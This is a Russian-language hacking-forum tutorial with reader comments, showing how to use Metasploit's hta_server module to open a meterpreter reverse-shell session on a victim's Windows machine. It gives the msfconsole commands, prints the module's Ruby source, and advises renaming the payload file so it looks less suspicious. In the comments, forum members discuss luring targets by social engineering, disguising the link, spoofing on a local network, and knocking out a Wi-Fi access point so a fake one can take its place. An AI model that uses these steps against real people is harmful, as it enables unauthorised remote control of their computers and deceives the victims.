Статья Взлом удаленного ПК: HTA-server

Всем привет! В этой статье я хочу показать взлом удаленного компьютера, а точнее, получение сессии meterpreter c помощью эксплойта - hta_server.

upload_2016-10-28_15-22-33.png


Появился он недавно в версии Metasploit Framework v4.12.34,

upload_2016-10-28_15-22-53.png


так, что прежде чем начать убеждаемся в ее наличии, если отсутствует, обновляемся:

> apt-get update && apt-get upgrade –y && apt-get dist-upgrade

Запускаем Metasploit Framework:

> msfconsole

В появившейся консоли фреймворка пишем:
Код:
use exploit/windows/misc/hta_server
set payload /windows/meterpreter/reverse_tcp
set LHOST 172.16.0.160
set SRVHOST 172.16.0.160
set LPORT 4444
exploit
Теперь, если все проделано, верно, видим экран с таким содержимым:

upload_2016-10-28_15-23-48.png


Теперь немного теории, первая строка обозначает, что обратное подключение (от жертвы) ожидается на адресе 172.16.0.160 и порту 4444.

Вторая, это ссылка которую необходимо доставить нашей цели, но не просто доставить, а убедить в том, что по ней необходимо перейти :)

А третья, собственно, о том, что был поднят веб-сервер на локальном адресе.

Перейдем по ссылке на целевой машине:

upload_2016-10-28_15-24-25.png


Вернувшись к консоли линукс, мы видим, что сервер сообщает о доставке полезной нагрузки обратившемуся к нему адресу 172.16.0.139.

upload_2016-10-28_15-25-8.png


Вернемся к целевому хосту и скачаем то, что было предложено сервером.

upload_2016-10-28_15-26-6.png


Как видно, сервер сгенерировал нам некое приложение .hta - HTML Application (HTA) — приложение, написанное на HTML или Dynamic HTML.

upload_2016-10-28_15-26-27.png


После запуска получаем готовую рабочую сессию meterpreter.

upload_2016-10-28_15-26-49.png


Объясню, как это происходит, созданное приложение открыло в фоновом режиме другое приложение, которое может работать скрытно от глаз пользователя, зовется оно PowerShell - Представляет собой современную стандартизированную оболочку командной строки, обеспечивающую большую гибкость управления компьютером на базе операционной системы Windows. По сути, PowerShell — это та же командная строка, но только намного более функциональная. Увидеть ее можно, набрав в пуске - powershell

upload_2016-10-28_15-28-24.png


PowerShell содержащий полезную нагрузку обнаруживается в диспетчере задач:

upload_2016-10-28_15-28-45.png


Итак, по поводу нагрузки все ясно. Дальнейшие действия зависят от фантазии.

Я бы хотел обратить внимание на один очень важный, по моему мнению момент. Взглянем на исходный код скрипта, который находится /usr/share/metasploit-framework/modules/exploit/windows/misc/hta_server.rb написан он на Ruby:
Код:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking
  include Msf::Exploit::Remote::HttpServer
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'HTA Web Server',
      'Description'    => %q(
        This module hosts an HTML Application (HTA) that when opened will run a
        payload via Powershell. When a user navigates to the HTA file they will
        be prompted by IE twice before the payload is executed.
      ),
      'License'        => MSF_LICENSE,
      'Author'         => 'Spencer McIntyre',
      'References'     =>
        [
          ['URL', 'https://www.trustedsec.com/july-2015/malicious-htas/']
        ],
      # space is restricted by the powershell command limit
      'Payload'        => { 'DisableNops' => true, 'Space' => 2048 },
      'Platform'       => %w(win),
      'Targets'        =>
        [
          [ 'Powershell x86', { 'Platform' => 'win', 'Arch' => ARCH_X86 } ],
          [ 'Powershell x64', { 'Platform' => 'win', 'Arch' => ARCH_X86_64 } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Oct 06 2016'
    ))
  end
  def on_request_uri(cli, _request)
    print_status('Delivering Payload')
    p = regenerate_payload(cli)
    data = Msf::Util::EXE.to_executable_fmt(
      framework,
      target.arch,
      target.platform,
      p.encoded,
      'hta-psh',
      { :arch => target.arch, :platform => target.platform }
    )
    send_response(cli, data, 'Content-Type' => 'application/hta')
  end
  def random_uri
    # uri needs to end in .hta for IE to process the file correctly
    '/' + Rex::Text.rand_text_alphanumeric(rand(10) + 6) + '.hta'
  end
end
Строка '/' + Rex::Text.rand_text_alphanumeric(rand(10) + 6) + '.hta' определяет название выходного файла. Данный метод генерирует абсолютную дичь, состоящую из 10 + -рандомных чисел и букв. (Fg8FGn34f9.hta) Предлагаю исправить это на более приемлемый вариант.

Делается это путем изменения метода .rand_text_alphanumeric на метод .uri_encode

upload_2016-10-28_15-30-32.png


В одинарных кавычках пишем, все что угодно. На этом все. Спасибо за внимание.

P.S.
Осталось подумать, как приделать к нему более симпатичный ярлык…

P.P.S. Статья не является руководством к действию и опубликована исключительно в ознакомительных целях. За последствия вызванные применением данного метода на практике автор и ресурс, ответственности не несут.
 
Последнее редактирование:
S

SergaevOleg

Предлагаю, чтобы не флудить, перейти в ЛС

Хорошая мысль. Сформулирую и отпишу Вам позже. Спасибо)
Встречно предлагаю удалить все мои посты в этой ветке, относящиеся к этой проблеме.
И этот ответ тоже.
 
M

m0tion

В общем прежде чем сюда написать, я взял по вашей ссылке с Гитхаба файл и поместил его в папку с модулями, после чего запустил метасплоит. По существу, ничего не поменялось. Я не понимаю что не так...

Изначально при запуске метасплоита выдало это:
Код:
root@kali:~# msfconsole
[-] Failed to connect to the database: could not connect to server: Connection refused
    Is the server running on host "localhost" (::1) and accepting
    TCP/IP connections on port 5432?
could not connect to server: Connection refused
    Is the server running on host "localhost" (127.0.0.1) and accepting
    TCP/IP connections on port 5432?

[-] WARNING! The following modules could not be loaded!
[-]     /usr/share/metasploit-framework/modules/exploits/windows/misc/hta_server.rb: Msf::Modules::MetasploitClassCompatibilityError Failed to load module (windows/misc/hta_server from /usr/share/metasploit-framework/modules/exploits/windows/misc/hta_server.rb) due to Missing compatible Metasploit<major_version> class constant

Сделал релоад_алл, после выдало:
Код:
msf > reload_all
[*] Reloading modules from all module paths...
[-] WARNING! The following modules could not be loaded!
[-]     /usr/share/metasploit-framework/modules/exploits/windows/misc/hta_server.rb: Msf::Modules::MetasploitClassCompatibilityError Failed to load module (windows/misc/hta_server from /usr/share/metasploit-framework/modules/exploits/windows/misc/hta_server.rb) due to Missing compatible Metasploit<major_version> class constant

  Metasploit Park, System Security Interface
  Version 4.0.5, Alpha E
  Ready...
  > access security
  access: PERMISSION DENIED.
  > access security grid
  access: PERMISSION DENIED.
  > access main security grid
  access: PERMISSION DENIED....and...
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!


Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with
Metasploit Pro -- learn more on http://rapid7.com/metasploit

       =[ metasploit v4.11.5-2016010401                   ]
+ -- --=[ 1517 exploits - 875 auxiliary - 257 post        ]
+ -- --=[ 437 payloads - 37 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf >
Напрягает вот это:
Код:
[-] Failed to connect to the database: could not connect to server: Connection refused
    Is the server running on host "localhost" (::1) and accepting
    TCP/IP connections on port 5432?
could not connect to server: Connection refused
    Is the server running on host "localhost" (127.0.0.1) and accepting
    TCP/IP connections on port 5432?

Postgresql запущена?

Попробуй перед запуском msf:
Код:
/etc/init.d/postgresql start
 
S

Scan

после - "Вернемся к целевому хосту и скачаем то, что было предложено сервером"
я потерял нить. откуда как и вообще где качать эти файлы? с атакующей машины заходить на эту сгенерированную ссылку
(после того как туда зайдёт жертвы
(машина жертвы просто грузит эту страницу. ничего не происходит))
и от туда скачать файл?? и если да то я не могу туда зайти, так как меня прокси не пускает, можно с этим что то сделать?
delivering payload написало, а после него сразу после подключения:
hta_server - Exception handling request: No such file or directory @ rb_sysopen - /usr/share/metasploit-framework/vendor/bundle/ruby/2.3.0/gems/rex-powershell-0.1.66/data/templates/to_mem_pshreflection.ps1.template

это норма?

простите за многобукав и обрушившуеся лавину тупости:)
 

Vander

CodebyTeam
Gold Team
16.01.2016
1 420
4 353
BIT
2
после - "Вернемся к целевому хосту и скачаем то, что было предложено сервером"
я потерял нить. откуда как и вообще где качать эти файлы? с атакующей машины заходить на эту сгенерированную ссылку
(после того как туда зайдёт жертвы
(машина жертвы просто грузит эту страницу. ничего не происходит))
и от туда скачать файл?? и если да то я не могу туда зайти, так как меня прокси не пускает, можно с этим что то сделать?
delivering payload написало, а после него сразу после подключения:
hta_server - Exception handling request: No such file or directory @ rb_sysopen - /usr/share/metasploit-framework/vendor/bundle/ruby/2.3.0/gems/rex-powershell-0.1.66/data/templates/to_mem_pshreflection.ps1.template

это норма?

простите за многобукав и обрушившуеся лавину тупости:)
У себя в локальной сети экспериментируете?
 
H

hdmoor

Интересно! Спасибо! Это не флуд, ибо ещё есть/будут вопросы и они тут появятся....


Оооо норм эксплоит, скормить жертве ссылку куда проще чем файлик)

Спасибо.
мне видится что не проще, ибо жертва всё=равно что то должна скачать и запустить, разве нет?
 
Последнее редактирование модератором:

Vander

CodebyTeam
Gold Team
16.01.2016
1 420
4 353
BIT
2
Интересно! Спасибо! Это не флуд, ибо ещё есть/будут вопросы и они тут появятся....



мне видится что не проще, ибо жертва всё=равно что то должна скачать и запустить, разве нет?
Это просто пример, а не 100% руководство) Да, на целевой хост, должен попасть файл
 

Dosia

Green Team
08.12.2016
96
27
BIT
0
А как доставить эту ссылку на целевую машину? Без социальной инженерии ( тестирую на локальной сети )
 

ghostphisher

местный
07.12.2016
2 602
3 413
BIT
0
А есть ли статьи про взлом целевой машины, без социальной?

Без социальной - брут. И то, RDP, VNC, на старых тачках 445 был уязвим. MITM. Если вопрос стоит я у себя дома, тачка для ТЕСТИРОВАНИЯ в другом доме, как попробовать получить доступ, то при стандартной конфигурации без соц. или внедрения в одну сеть никак. Времена lsass и DCOM прошли....
 

Dosia

Green Team
08.12.2016
96
27
BIT
0
Без социальной - брут. И то, RDP, VNC, на старых тачках 445 был уязвим. MITM. Если вопрос стоит я у себя дома, тачка для ТЕСТИРОВАНИЯ в другом доме, как попробовать получить доступ, то при стандартной конфигурации без соц. или внедрения в одну сеть никак. Времена lsass и DCOM прошли....
А как замаскировать ссылку? А то слишком палевно...
 

ghostphisher

местный
07.12.2016
2 602
3 413
BIT
0
А можно ли все таки получить доступ к целевой машине, которая подключена к локальной сети? Или здесь все так-же, социальная инженерия?

Если обе машины в одной ЛОКАЛЬНОЙ сети, то можно пробовать MITM и Спуффинг.
lenovo-pcs-ship-with-man-in-the-middle-adware-that-breaks-https-connections.jpeg


Перенаправив тестируемую систему на поддельный ресурс, откуда произойдет загрузка исполняемого файла.
 

Dosia

Green Team
08.12.2016
96
27
BIT
0
Если обе машины в одной ЛОКАЛЬНОЙ сети, то можно пробовать MITM и Спуффинг.
lenovo-pcs-ship-with-man-in-the-middle-adware-that-breaks-https-connections.jpeg


Перенаправив тестируемую систему на поддельный ресурс, откуда произойдет загрузка исполняемого файла.
Нужно заглушить сигнал беспроводным wifi адаптером? Или я не так понял? ( Извини конечно за глупые вопросы )
 

ghostphisher

местный
07.12.2016
2 602
3 413
BIT
0
Нужно заглушить сигнал беспроводным wifi адаптером? Или я не так понял? ( Извини конечно за глупые вопросы )

Как сеть выглядит? 1 роутер и через него по wi fi все выходят в сеть? Тогда еще проще. Можно положить настоящую точку и зацепить на себя, поднять фейк. 2 антены wi fi потребуется для реализации данного теста.
 

Dosia

Green Team
08.12.2016
96
27
BIT
0
Как сеть выглядит? 1 роутер и через него по wi fi все выходят в сеть? Тогда еще проще. Можно положить настоящую точку и зацепить на себя, поднять фейк. 2 антены wi fi потребуется для реализации данного теста.
TP LINK 822N подойдёт? Или нужно помощнее?
 

ghostphisher

местный
07.12.2016
2 602
3 413
BIT
0
TP LINK 822N подойдёт? Или нужно помощнее?

Самое главно, что бы все были в зоне действия. Одним словом, можно уронить роутер, и поднять точку фейк, однако - сможет ли до нее добить система, которая нам интересна?
С TP LInk никаких проблем ( с точки реализации ) проблем возникнуть не должно. Не забываем - надо 2 адаптера: 1 - глушит, 2 - играет фейковую точку.
Рекоменжую посмотреть wifi фишинг, на данном форуме было много статей.

ПС Какая ОС используется для тестирования?
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!